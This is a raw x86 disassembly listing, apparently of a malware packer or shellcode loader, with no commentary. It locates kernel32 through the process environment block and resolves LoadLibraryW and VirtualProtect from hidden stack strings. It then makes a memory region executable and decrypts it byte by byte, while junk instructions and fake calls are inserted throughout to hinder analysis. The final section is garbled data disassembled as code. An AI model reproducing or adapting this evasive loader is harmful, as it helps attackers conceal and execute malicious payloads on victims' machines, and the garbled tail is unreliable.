cmp dword [ebp - 0x1508], 0
jne 0x42a6a8
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x42a93f
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x42a6cd
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x42a93f
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x42a727
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x42a933
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
mov dword [ebp - 0x184], 0
jmp 0x42a797
mov ecx, dword [ebp - 0x184]
add ecx, 1
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
test eax, eax
je 0x42a849
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
test edx, edx
je 0x42a849
push ecx
or ecx, 0x1342e
or ecx, 0x9ca1
call 0x42a7de
add byte [ebx + 0x46], cl
xor al, 0x42
cmp dword ds:[edx - 0x7d], ecx
les eax, [ecx + ebx*2]
push eax
xor eax, 0x16bc
pop eax
push ecx
push ebx
add esp, 4
add ecx, 0x14898
pop ecx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
cmp ecx, eax
je 0x42a83b
mov ecx, dword [ebp - 0x708]
add ecx, dword [ebp - 0x184]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x184]
movsx ecx, byte [ebp + eax - 0x804]
cmp edx, ecx
jne 0x42a842
jmp 0x42a788
jmp 0x42a849
push edi
add edi, 0x14ca1
or edi, 0x7444
call 0x42a865
add byte [eax + 0x48], dl
xor esi, dword [edi]
xor edi, dword [ecx]
cmp edi, dword [esp + ecx*2]
add esp, 4
or edi, 0x1001f
pop edi
push edx
push ebx
add esp, 4
xor edx, 0xb26d
pop edx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
cmp eax, edx
jne 0x42a8a8
mov dword [ebp - 0xc40], 0
jmp 0x42a917
push edx
and edx, 0xeab0
xor edx, 0xb6f2
pop edx
push ebx
push edi
add esp, 4
sub ebx, 0xb493
pop ebx
push esi
push ebx
add esp, 4
add esi, 0x7be8
add esi, 0x170b9
add esi, 0x123e2
pop esi
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
or eax, 0x20
cmp ecx, eax
jge 0x42a90d
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x42a917
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x42a92e
mov ecx, dword [ebp - 0x18cc]
mov dword [ebp - 0x4e0], ecx
jmp 0x42a93f
jmp 0x42a718
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push edx
push ecx
add esp, 4
call 0x42a95d
add byte [esi + 0x50334637], dh
dec ebx
add esp, 4
call 0x42a96d
add byte [esi + 0x39], al
xor eax, 0x3b354d32
add esp, 4
and edx, 0x26c9
and edx, 0x9601
pop edx
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push esi
add esi, 0x14634
and esi, 0xdd0e
sub esi, 0x123f
add esi, 0x692a
pop esi
push edi
push edx
add esp, 4
or edi, 0x55c2
sub edi, 0xac20
add edi, 0x1204a
pop edi
cmp dword [ebp - 0x3cc], 0
je 0x42a9d0
cmp dword [ebp - 0xa5c], 0
jne 0x42aa16
push eax
push esi
add esp, 4
xor eax, 0xdfb
pop eax
push edi
push edi
add esp, 4
sub edi, 0xf520
or edi, 0x179f7
sub edi, 0xf608
add edi, 0x177ea
pop edi
push eax
add eax, 0xebf9
pop eax
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push ecx
push edi
add esp, 4
and ecx, 0xf708
pop ecx
push edx
call 0x42aa3a
add byte [esi + 0x4d], al
cmp eax, 0x46384f33
add esp, 4
xor edx, 0xec80
and edx, 0x74cc
pop edx
push ecx
add ecx, 0xe682
pop ecx
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push ebx
and ebx, 0x4baa
add ebx, 0x16565
add ebx, 0x14588
or ebx, 0x5637
pop ebx
push edi
push edx
add esp, 4
and edi, 0xa2c5
xor edi, 0x3a80
xor edi, 0xb6c1
pop edi
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push esi
jmp 0x42ab21
or esi, 0x1d33
pop esi
push ebx
xor ebx, 0x9813
xor ebx, 0x17cf1
pop ebx
push edx
xor edx, 0x12236
pop edx
push ebx
push eax
add esp, 4
sub ebx, 0xee1
pop ebx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push eax
xor eax, 0x15aa9
add eax, 0x16b48
call 0x42ab8c
add byte [edi + 0x45], al
cmp dword [ecx + 0x4f], ecx
dec eax
inc edi
add esp, 4
call 0x42ab9f
add byte [0x3c45423b], dh
inc ebx
dec ecx
inc edi
cmp al, byte ds:[ebx - 0x7ca7fb3c]
mov ebp, 0xffffeaf4
add byte [ebp + 0xf], dh
mov dword [ebp - 0x2a8], 0
jmp 0x42ae62
push ecx
push edx
add esp, 4
or ecx, 0x158d8
jmp 0x42ae72
pop ecx
push ebx
push edx
add esp, 4
or ebx, 0xd945
jmp 0x42ae87
and ebx, 0xf751
add ebx, 0xba92
pop ebx
cmp dword [ebp - 0x2a8], 0
jne 0x42b799
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push eax
add eax, 0xbe23
pop eax
push eax
push eax
add esp, 4
add eax, 0x12f55
or eax, 0xc4f6
pop eax
push eax
push edi
add esp, 4
add eax, 0x15cda
add eax, 0x10c58
and eax, 0xbfa1
pop eax
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push ecx
add ecx, 0x13f04
add ecx, 0x13369
and ecx, 0x4f93
pop ecx
push ecx
push esi
add esp, 4
xor ecx, 0xd45c
and ecx, 0x8801
xor ecx, 0x9f87
and ecx, 0x67d9
pop ecx
cmp dword [ebp - 0x1518], 0
jne 0x42b039
mov dword [ebp - 0x710], 0
jmp 0x42b2e0
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push ecx
jmp 0x42b054
add ecx, 0x7f6c
add ecx, 0x9fba
or ecx, 0x4111
pop ecx
push eax
add eax, 0x2385
and eax, 0x1193
pop eax
push ebx
add ebx, 0x83da
pop ebx
cmp dword [ebp - 0xc58], 0
jne 0x42b095
mov dword [ebp - 0x710], 0
jmp 0x42b2e0
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push eax
and eax, 0x13c4a
pop eax
push ebx
push ecx
add esp, 4
add ebx, 0x2023
add ebx, 0xd52a
pop ebx
push ebx
push edx
add esp, 4
xor ebx, 0x1217a
or ebx, 0x9467
add ebx, 0x46d6
pop ebx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push eax
xor eax, 0x40a9
add eax, 0x580a
call 0x42b119
add byte [edx], dh
dec eax
xor eax, dword [ecx + 0x3d]
dec edx
cmp dword [esi + 0x3c], ecx
add esp, 4
or eax, 0x6de2
pop eax
push edx
push esi
add esp, 4
jmp 0x42b12e
pop edx
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push ebx
and ebx, 0x2c77
pop ebx
push edi
push edx
add esp, 4
or edi, 0x9233
or edi, 0x16270
pop edi
push eax
push eax
add esp, 4
add eax, 0x22a3
and eax, 0x96e2
or eax, 0xd001
pop eax
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x42b1d5
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x42b22f
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x42b0fd
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x42b0fd
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x42b219
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x42b223
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x42b278
push edi
push ecx
add esp, 4
and edi, 0x145b9
sub edi, 0x359a
pop edi
push eax
push ecx
add esp, 4
or eax, 0x49a0
xor eax, 0x157ab
xor eax, 0x7e87
pop eax
push ecx
add ecx, 0x10a1a
pop ecx
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x42b2e0
push edx
jmp 0x42b280
and edx, 0x3f0e
sub edx, 0xfecd
sub edx, 0x5ba2
pop edx
push ecx
push ebx
add esp, 4
jmp 0x42b29d
add ecx, 0xc2bc
jmp 0x42b2a9
pop ecx
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x42b2d6
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x42b0a1
mov dword [ebp - 0x710], 0
push eax
push ebx
add esp, 4
xor eax, 0x2e61
and eax, 0x79b8
add byte [ecx + 0x164bc0], al
add byte [eax + 0x50], bl
or eax, 0x40b3
sub eax, 0x10683
and eax, 0x1502c
add eax, 0x985e
pop eax
cmp dword [ebp - 0x710], 0
jne 0x42b35c
push esi
add esi, 0x11036
call 0x42b331
add byte [ecx], bh
xor al, 0x3a
dec edi
aas
xor cl, byte [esi + 0x3b]
inc edi
add esp, 4
xor esi, 0x13698
pop esi
push eax
push edx
add esp, 4
add eax, 0x155c9
add eax, 0x7ae2
pop eax
mov dword [ebp - 0xa58], 0
jmp 0x42be84
push esi
xor esi, 0x10b83
sub esi, 0x4a5
xor esi, 0x185a7
pop esi
push ecx
push ebx
add esp, 4
add ecx, 0x9302
xor ecx, 0xf0d7
sub ecx, 0x81d8
sub ecx, 0x1041b
pop ecx
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x42b3cd
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x42b6be
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x42b3f5
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x42b6be
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x42b427
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x42b6be
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x42b44c
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x42b6be
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x42b4a6
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x42b6b2
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x42b516
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x42b5c8
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x42b5c8
push edx
push edx
add esp, 4
and edx, 0x4791
jmp 0x42b553
sub edx, 0x16fbd
pop edx
push eax
sub eax, 0x134d7
call 0x42b571
add byte [edi + 0x34], al
xor eax, 0x37344d3a
dec eax
cmp eax, dword [esi - 0x7d]
les eax, [eax + ebx*2]
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x42b5ba
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x42b5c1
jmp 0x42b507
jmp 0x42b5c8
push edx
push ecx
add esp, 4
jmp 0x42b5d3
add edx, 0x12e02
add edx, 0x13f
and edx, 0x174a2
pop edx
push eax
push edi
add esp, 4
xor eax, 0x14c69
pop eax
push edx
add edx, 0x11194
pop edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x42b627
mov dword [ebp - 0xc5c], 0
jmp 0x42b696
push esi
push esi
add esp, 4
or esi, 0x13002
pop esi
push ecx
push edx
add esp, 4
add ecx, 0xef41
pop ecx
push edx
and edx, 0x16fd3
pop edx
push esi
call 0x42b655
add byte [0x4b36503a], dh
xor cl, byte [edi - 0x7d]
les eax, [esi + ebx*2]
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x42b68c
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x42b696
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x42b6ad
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x42b6be
jmp 0x42b497
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x42b799
push esi
jmp 0x42b6d2
sub esi, 0xb4d6
pop esi
push ebx
push esi
add esp, 4
sub ebx, 0x1520
jmp 0x42b6e9
call 0x42b6f9
add byte [edi], bh
inc ebp
dec esp
dec eax
cmp byte [edx], dh
cmp bh, byte [eax]
inc ecx
add esp, 4
pop ebx
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push esi
push ebx
add esp, 4
call 0x42b71c
add byte [ebx], bh
inc esp
dec ecx
dec esp
xor bh, byte [ecx]
inc esi
add esp, 4
jmp 0x42b727
jmp 0x42b72d
jmp 0x42b732
pop esi
push esi
add esi, 0x41cd
pop esi
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x42b799
push ecx
push esi
add esp, 4
add ecx, 0x3488
or ecx, 0x124c0
xor ecx, 0xa5f2
pop ecx
push ecx
add ecx, 0xb7fd
call 0x42b786
add byte [edi], bh
xor al, 0x42
inc ebx
inc edi
dec esp
inc eax
inc esp
add esp, 4
pop ecx
mov dword [ebp - 0xa58], 0
jmp 0x42be84
push eax
or eax, 0x4913
and eax, 0x13fa8
pop eax
push edi
push esi
add esp, 4
xor edi, 0x11541
and edi, 0xe110
pop edi
push esi
push edi
add esp, 4
or esi, 0x2ae7
add esi, 0x1094d
pop esi
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push ecx
push edx
add esp, 4
call 0x42b807
add byte [eax + 0x48], dl
cmp al, byte [ebx + esi + 0x46]
inc ebx
dec eax
dec edi
add esp, 4
sub ecx, 0x12a07
pop ecx
push ebx
xor ebx, 0xa5f1
sub ebx, 0x340b
add ebx, 0x1b20
pop ebx
cmp dword [ebp - 0x1574], 0
jne 0x42b83d
mov dword [ebp - 0x2a8], 0
jmp 0x42bae4
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push eax
add eax, 0x9d3d
jmp 0x42b85d
sub eax, 0x14f0
add eax, 0x145c9
pop eax
push eax
push esi
add esp, 4
add eax, 0xec05
jmp 0x42b87a
sub eax, 0x9cf9
pop eax
cmp dword [ebp - 0xc68], 0
jne 0x42b899
mov dword [ebp - 0x2a8], 0
jmp 0x42bae4
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push ecx
push edi
add esp, 4
and ecx, 0x12d4f
and ecx, 0x8f8c
or ecx, 0xc2de
xor ecx, 0x14362
pop ecx
push esi
push esi
add esp, 4
jmp 0x42b8d0
sub esi, 0x17b8f
pop esi
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push edx
and edx, 0x3980
call 0x42b915
add byte [edi + 0x34], cl
cmp esi, dword [edi]
cmp eax, dword [edx + 0x3b]
add esp, 4
pop edx
push ebx
push ecx
add esp, 4
and ebx, 0xd195
xor ebx, 0x7932
jmp 0x42b932
pop ebx
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push esi
push eax
add esp, 4
jmp 0x42b996
jmp 0x42b99b
or esi, 0x17c14
pop esi
push edx
push ebx
add esp, 4
sub edx, 0x2916
or edx, 0xf02f
pop edx
push eax
and eax, 0xe8f2
pop eax
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x42b9d9
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x42ba33
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x42b901
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x42b901
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x42ba1d
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x42ba27
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x42ba7c
push ecx
and ecx, 0x1521b
pop ecx
push edi
xor edi, 0x16b0c
or edi, 0xc859
jmp 0x42ba56
pop edi
push ecx
push ebx
add esp, 4
call 0x42ba6a
add byte [edi], dh
cmp dword [edx + 0x48], eax
inc esi
inc edi
inc edx
dec edi
add esp, 4
pop ecx
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2a8], edx
jmp 0x42bae4
push esi
xor esi, 0x10af9
xor esi, 0x176c5
xor esi, 0xccf6
pop esi
push edi
push ecx
add esp, 4
sub edi, 0x14a86
xor edi, 0x13703
sub edi, 0xd455
and edi, 0x17b5a
pop edi
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [eax]
mov dword [ebp - 0x4ec], ecx
mov edx, dword [ebp - 0x4ec]
cmp edx, dword [ebp - 0xc68]
je 0x42bada
mov eax, dword [ebp - 0x4ec]
cmp dword [eax + 0x30], 0
jne 0x42b8a5
mov dword [ebp - 0x2a8], 0
push ecx
push ecx
add esp, 4
xor ecx, 0x101f5
pop ecx
push ecx
and ecx, 0x15a48
call 0x42bb03
add byte [esi + 0x4d], al
cmp eax, 0x834a4437
les eax, [ecx + eax*4]
jmp 0x43fd9f
push edx
or edx, 0x15e2b
add edx, 0x15ec4
xor edx, 0x15b62
pop edx
push edx
push edi
add esp, 4
xor edx, 0xd1ce
or edx, 0x872f
sub edx, 0xd5a5
and edx, 0xd3d4
pop edx
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x42bf29
push edx
push edx
add esp, 4
and edx, 0xf56b
and edx, 0x1019e
call 0x42bf03
add byte [edx + 0x3c], cl
aaa
xor cl, byte [esi + 0x3f]
dec esp
aas
dec edx
add esp, 4
pop edx
push ecx
add ecx, 0x824
xor ecx, 0x158ed
pop ecx
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x42bf46
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x42bfa2
push edx
push eax
add esp, 4
jmp 0x42bf61
pop edx
push esi
push edi
add esp, 4
and esi, 0xec1f
pop esi
push esi
push ecx
add esp, 4
and esi, 0x3f54
sub esi, 0x1852c
or esi, 0x185a
pop esi
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x42bf37
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x42c01a
push ecx
push ecx
add esp, 4
sub ecx, 0x9abc
add ecx, 0xbe77
pop ecx
push edi
and edi, 0x175fd
call 0x42bffc
add byte [ecx + 0x33], cl
dec ebp
cmp al, 0x44
inc ebx
aas
inc edx
dec esp
add esp, 4
add edi, 0xf3ee
pop edi
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
call dword [ebp - 0x1920]
push eax
add eax, 0xac03
pop eax
push ebx
push edi
add esp, 4
add ebx, 0x320a
xor ebx, 0xdf5
call 0x42c042
add byte [eax + edx*2 + 0x33], cl
inc ecx
cmp byte [ebx + ecx*2], bh
cmp dword [esi], esi
add esp, 4
sub ebx, 0xe721
pop ebx
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff02ff
pop ecx
pop eax
sub eax, 0x4c
test dword [ebx], eax
add al, byte [ebx + 0x275aaf8]
add al, byte [ebx + 0x27ac8f0]
add al, byte [ebx + 0x2ab5be8]
add ah, byte [eax + 0x59]
in eax, dx
or dword [edx + 0x37], edx
aaa
inc edi
dec ebx
inc edi
aaa
or ecx, 0x16
cmp byte [ebx], al
add ch, ch
pop es
inc ebp
dec ebx
inc ebp
dec ecx
inc edx
popal
mov esp, 0x202026d
push 0xebbe978b
add dword [ecx], eax
mov edx, 0x2020267
push 0xebc0878b
add dword [ecx], eax
mov ebx, 0x2020274
push 0xebc28f8b
add dword [ecx], eax
mov esp, 0x2020270
push 0xebc4978b
add dword [ecx], eax
mov edx, 0x2020267
push 0xebc6878b
add dword [ecx], eax
mov ebx, 0x202026e
push 0xebc88f8b
add dword [ecx], eax
mov esp, 0x2020235
push 0xebca978b
add dword [ecx], eax
mov edx, 0x2020234
push 0xebcc878b
add dword [ecx], eax
mov ebx, 0x2020230
push 0xebce8f8b
add dword [ecx], eax
mov esp, 0x2020266
push 0xebd0978b
add dword [ecx], eax
mov edx, 0x202026e
add dword [edx + 0x202026e], edi
push 0xebd2878b
add dword [ecx], eax
mov ebx, 0x202026e
push 0xebd48f8b
add dword [ecx], eax
xor eax, 0x978b68d4
